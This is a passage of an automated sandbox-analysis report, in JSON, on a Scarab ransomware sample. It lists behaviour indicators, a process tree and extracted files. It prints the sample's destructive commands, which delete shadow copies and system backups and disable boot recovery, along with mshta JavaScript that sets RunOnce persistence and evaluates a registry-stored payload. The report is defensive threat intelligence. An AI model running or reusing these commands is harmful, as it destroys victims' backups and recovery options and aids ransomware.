Call","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$27","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"WMIC.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c copy /y \"C:\\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe\" \"%APPDATA%\\sevnz.exe\"\" on 2017-12-23.06:43:21.164\n \"/c copy /y \"C:\\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe\" \"%APPDATA%\\sevnz.exe\"\" on 2017-12-23.06:43:22.867\n \"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" on 2017-12-23.06:45:25.130\n \"/c wmic SHADOWCOPY DELETE\" on 2017-12-23.06:45:25.160\n \"/c vssadmin Delete Shadows /All /Quiet\" on 2017-12-23.06:45:25.190\n \"/c bcdedit /set {default} recoveryenabled No\" on 2017-12-23.06:45:25.240\n \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" on 2017-12-23.06:45:25.280","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$28","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"\n \"sevnz.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"F3hzum1.doc\" has type \"data\"\n \"0gakl8ixtWMkw.doc\" has type \"data\"\n \"EKeaJO.doc\" has type \"data\"\n \"Calculator.lnk\" has type \"data\"\n \"mtgFs8Za.doc\" has type \"data\"\n \"Paint.lnk\" has type \"data\"\n \"pmd.cer\" has type \"data\"\n \"JSByteCodeWin.bin\" has type \"data\"\n \"5F1yaAIKfUGQcmmt.doc\" has type \"data\"\n \"6SZfLTu9z.doc\" has type \"data\"\n \"Sticky Notes.lnk\" has type \"data\"\n \"dH1rDN9f9.doc\" has type \"data\"\n \"autoexec.bat\" has type \"data\"\n \"lCEf83Wf7e4nuIMk.doc\" has type \"data\"\n \"bg3oTe.doc\" has type \"data\"\n \"Windows Media Player.lnk\" has type \"data\"\n \"hKY8.doc\" has type \"data\"\n \"0zIG0D.doc\" has type \"data\"\n \"klmqz.doc\" has type \"data\"\n \"C04T72pR0Bcl.doc\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\"\" touched file \"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls\"\n \"\" touched file \"%WINDIR%\\System32\\en-US\\setupapi.dll.mui\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db\"\n \"\" touched file \"%WINDIR%\\System32\\en-US\\propsys.dll.mui\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db\"\n \"\" touched file \"%WINDIR%\\AppPatch\\sysmain.sdb\"\n \"\" touched file \"%WINDIR%\\System32\\mshta.exe\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"1. e-mail: Support56@cock.li\"\n Heuristic match: \"e-mail: Support56@cock.li\"\n Pattern match: \"https://bestchange.ru\"\n Pattern match: \"https://localbitcoins.com/ru/buy_bitcoins\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"\n \"sevnz.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques using MAC address detection","description":"\"026942532782362601548605048694375241825932711468204477625277090800278640184872514837653056375531350345597747118924827158686601405611027831490285083345084245\" (Indicator: \"080027\")","origin":"File/Memory","relevance":10,"id":"string-2","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"vssadmin.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"\" read file \"C:\\Users\\desktop.ini\"\n \"\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"sevnz.exe\" read file \"C:\\Users\\desktop.ini\"\n \"sevnz.exe\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"sevnz.exe\" read file \"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AGMGPUOptIn.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"mshta.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"mshta.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"ILRTISO\"; Value: \"%APPDATA%\\sevnz.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"Pattern Matching","name":"Contains ability to download files from the internet","description":"InternetReadFile@WININET.DLL at 00015604-00003224-28744-82-00425790\n InternetReadFile@WININET.DLL at 00015819-00003540-32345-82-00425790\n InternetReadFile@WININET.DLL at 00015986-00003528-30903-82-00425790","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-17","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"root\\cimv2\" (Indicator: \"root\\cimv2\")","origin":"File/Memory","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"sevnz.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Reads system information using Windows Management Instrumentation Commandline (WMIC)","description":"Process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00016226-00002972)","origin":"Monitored Target","relevance":3,"id":"target-10","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$29","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$2a","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"WMIC.exe\" wrote bytes \"4053ed765858ee76186aee76653cef760000000000bf36750000000056cc3675000000007cca36750000000037682a756a2cef76d62def760000000020692a750000000029a6367500000000a48d2a7500000000f70e367500000000\" to virtual address \"0x76FE1000\" (part of module \"NSI.DLL\")","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"bcdedit.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Tries to suppress failures during boot (often used to hide system changes)","description":"Tries to suppress failures during boot \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00016212-00000960)\n Tries to suppress failures during boot \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00016223-00004000)","origin":"Monitored Target","relevance":8,"id":"target-6","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"36/67 Antivirus vendors marked spawned process \"\" (PID: 3540) as malicious (classified as \"Gen:Variant.Ransom.Scarab\" with 53% detection rate)\n 36/67 Antivirus vendors marked spawned process \"sevnz.exe\" (PID: 3528) as malicious (classified as \"Gen:Variant.Ransom.Scarab\" with 53% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"malicious","category":"Installation/Persistance","name":"Disables startup repair","description":"Disables startup repair \"cmd.exe\" with commandline \"/c bcdedit /set {default} recoveryenabled No\" (UID: 00016208-00003744)\n Disables startup repair \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\" (UID: 00016223-00001808)","origin":"Monitored Target","relevance":8,"id":"target-5","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$2b","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Deletes volume snapshots (often used by ransomware)","description":"Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\" (UID: 00016224-00001168)\n Deletes volume snapshots files \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00016226-00002972)","origin":"Monitored Target","relevance":10,"id":"target-4","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"malicious","category":"System Destruction","name":"Deletes system state backups (often used by ransomware)","description":"Deletes system state backups using \"wbadmin.exe\" with commandline \"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" (UID: 00016227-00002948)","origin":"Monitored Target","relevance":10,"id":"target-85","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$2c","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"Ransomware","details_count":1,"details":[{"detail":"Deletes volume snapshots (often used by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Disables startup repair"},{"detail":"Tries to suppress failures during boot (often used to hide system changes)"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Found a dropped file containing the Windows username (possible fingerprint attempt)"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"},{"detail":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"}],"sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]}]},"activity":{"stats":{"process_count":18,"spawned_processes_count":18,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":18,"imported_dlls_count":77,"dropped_files_count":0,"extracted_files_count":34,"files_written_count":62,"files_deleted_count":0,"registry_keys_created_count":6,"registry_keys_modified_count":0,"registry_keys_deleted_count":5,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":11,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["ransomware"],"sample_flags":["Sample not shared","Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"5a815fd67ca3e1746566f523","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":86,"malware_family":"Gen:Variant.Ransom.Scarab","submit_name":"d3a28327df38c258a8af00e5eb89ab.exe","analysis_start_time":"2018-02-12T10:35:35+00:00","indicators_count":{"informative":4,"suspicious":2,"malicious":3},"tags":["Sample not shared"],"is_in_unified_schema":true},{"id":"5a3e6b227ca3e164143ee303","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Ransom.Scarab","submit_name":"sevnz.exe","analysis_start_time":"2017-12-23T15:41:34+00:00","indicators_count":{"informative":15,"suspicious":24,"malicious":11},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}],"processes":[{"pid":3224,"ppid":0,"name":"d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe","command_line":"","sha256":"d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469","normalized_path":"C:\\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe","uid":"00015604-00003224","icon":"$2d"},{"pid":3348,"ppid":3224,"name":"cmd.exe","command_line":"/c copy /y \"C:\\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe\" \"%APPDATA%\\sevnz.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00015604-00003224","uid":"00015801-00003348"},{"pid":3540,"ppid":3224,"name":"d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe","command_line":"runas","sha256":"d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469","normalized_path":"C:\\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe","parent_uid":"00015604-00003224","uid":"00015819-00003540"},{"pid":3404,"ppid":3540,"name":"cmd.exe","command_line":"/c copy /y \"C:\\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe\" \"%APPDATA%\\sevnz.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00015819-00003540","uid":"00015971-00003404"},{"pid":3528,"ppid":3540,"name":"sevnz.exe","command_line":"","sha256":"d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469","normalized_path":"%APPDATA%\\sevnz.exe","parent_uid":"00015819-00003540","uid":"00015986-00003528"},{"pid":3592,"ppid":3528,"name":"mshta.exe","command_line":"\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('sevnz.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\ILRTISo',i);}catch(e){}},10);\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00015986-00003528","uid":"00016168-00003592"},{"pid":3628,"ppid":3528,"name":"mshta.exe","command_line":"\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\MPOWA\\\\VXZO['));close();\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00015986-00003528","uid":"00016169-00003628"},{"pid":3704,"ppid":3628,"name":"cmd.exe","command_line":"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00016169-00003628","uid":"00016197-00003704"},{"pid":2948,"ppid":3704,"name":"wbadmin.exe","command_line":"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0","sha256":"be527c6085cd944097de35b9740fc4dd24d455567bec596e9cc300d70c5a392d","normalized_path":"%WINDIR%\\System32\\wbadmin.exe","parent_uid":"00016197-00003704","uid":"00016227-00002948"},{"pid":3688,"ppid":3628,"name":"cmd.exe","command_line":"/c wmic SHADOWCOPY DELETE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00016169-00003628","uid":"00016201-00003688"},{"pid":2972,"ppid":3688,"name":"WMIC.exe","command_line":"wmic SHADOWCOPY DELETE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00016201-00003688","uid":"00016226-00002972"},{"pid":3708,"ppid":3628,"name":"cmd.exe","command_line":"/c vssadmin Delete Shadows /All /Quiet","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00016169-00003628","uid":"00016204-00003708"},{"pid":1168,"ppid":3708,"name":"vssadmin.exe","command_line":"vssadmin Delete Shadows /All /Quiet","sha256":"e09bf4d27555ec7567a598ba89ccc33667252cef1fb0b604315ea7562d18ad10","normalized_path":"%WINDIR%\\System32\\vssadmin.exe","parent_uid":"00016204-00003708","uid":"00016224-00001168"},{"pid":3744,"ppid":3628,"name":"cmd.exe","command_line":"/c bcdedit /set {default} recoveryenabled No","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00016169-00003628","uid":"00016208-00003744"},{"pid":1808,"ppid":3744,"name":"bcdedit.exe","command_line":"bcdedit /set {default} recoveryenabled No","sha256":"aa501dc5b621527b0e3dd2787d4969647631c4904d3ae9fc06d177251bc760e3","normalized_path":"%WINDIR%\\System32\\bcdedit.exe","parent_uid":"00016208-00003744","uid":"00016223-00001808"},{"pid":960,"ppid":3628,"name":"cmd.exe","command_line":"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00016169-00003628","uid":"00016212-00000960"},{"pid":4000,"ppid":960,"name":"bcdedit.exe","command_line":"bcdedit /set {default} bootstatuspolicy ignoreallfailures","sha256":"aa501dc5b621527b0e3dd2787d4969647631c4904d3ae9fc06d177251bc760e3","normalized_path":"%WINDIR%\\System32\\bcdedit.exe","parent_uid":"00016212-00000960","uid":"00016223-00004000"},{"pid":3496,"ppid":3540,"name":"mshta.exe","command_line":"\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe');close()}catch(e){}},10);\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00015819-00003540","uid":"00015988-00003496"}],"all_imported_dlls":["cryptsp.dll","msasn1.dll","wbemcomn.dll","msxml3.dll","vssapi.dll","usp10.dll","rpcrt4.dll","crypt32.dll","dwmapi.dll","oleaccrc.dll","jscript.dll","KernelBase.dll","comctl32.dll","winbrand.dll","rpcss.dll","rsaenh.dll","wbemprox.dll","fastprox.dll","user32.dll","lpk.dll","clbcatq.dll","vsstrace.dll","gdi32.dll","apphelp.dll","msimtf.dll","atl.dll","urlmon.dll","version.dll","blbres.dll","ntdsapi.dll","vss_ps.dll","sspicli.dll","kernel32.dll","cryptbase.dll","propsys.dll","Wldap32.dll","profapi.dll","ieframe.dll","IPHLPAPI.DLL","ole32.dll","advapi32.dll","uxtheme.dll","slc.dll","framedynos.dll","msvcr90.dll","wbemsvc.dll","msvcrt.dll","shlwapi.dll","RpcRtRemote.dll","wtsapi32.dll","nsi.dll","imm32.dll","msls31.dll","wininet.dll","cfgmgr32.dll","psapi.dll","credui.dll","ws2_32.dll","secur32.dll","dnsapi.dll","setupapi.dll","ntdll.dll","oleaut32.dll","sechost.dll","scrrun.dll","msxml3r.dll","mpr.dll","shell32.dll","oleacc.dll","MSOXMLMF.DLL","mshtml.dll","sxs.dll","iertutil.dll","msctf.dll","ntmarta.dll","winnsi.dll","devobj.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Liesmich.htm","sha256":"0d24810f75545371d7faebb916c13e6a0ba640e60c8e393afe49ce828729d6d4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"ReadMe.htm","sha256":"dec5198c162660020b835bc338edb5748c5af70a38c4300b0a77739ebbe01dc3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"AGMGPUOptIn.ini","sha256":"2a2a116e540fb27673580e7103f55569a57b62985c9b061c4c9d91c4981cdab2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"cef.pak","sha256":"4851193eb97272dd378877ea2622346cdbf5da80e51f20865dcb145b61be2080","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"en-US.pak","sha256":"7b7af8f2834ffe9471ef5b39b7176bed362cd014da2da257a333a043ed510b4e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"Adobe.Reader.Dependencies.manifest","sha256":"42854e00ce69e293f5d83138157c52020bb7dc2a07fcaaca06c2d33bfcc4b129","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"nppdf32.DEU","sha256":"1abc43493b2e0e321a63dd68a9e9db46c3bb92e11c1df9bb31830a145465f269","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"AdobeID.pdf","sha256":"d1ac6a02a7b985aa477b6278ea38e9be4d692363a3f506ef59a2eda30e6159bb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"DefaultID.pdf","sha256":"c8928ecc3ab7efa037f22b48414bb51b3d0188990330f9d58bb2166ae914e9cb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"JSByteCodeWin.bin","sha256":"dd661c447afd745c463384278099cff6b9d0c4d29b7d37d3f2e7b5222a4318f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"PDFSigQFormalRep.pdf","sha256":"d27f9b875fe7724e3cc67f9f7cdd6b3ec3f93bccb26260604cd93490dcae27a9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"RTC.der","sha256":"5448718875b9c3053e62bd73ffccc98f37aa0415b6eed129ed91e9c80adff5b3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"cryptocme.sig","sha256":"102066b696289212f8715958a90e11c9a0b076e557329b8597f2c5e12db056ae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"pmd.cer","sha256":"bfc62a996336af496e348988252d9bc7dad5422b0044493db72f4b76b452144d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"name":"autoexec.bat","sha256":"e47e607610ed58f91085c6fc95f25249aee19abd8cf25a3a7ce1be559a1f0ff3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a3e6b227c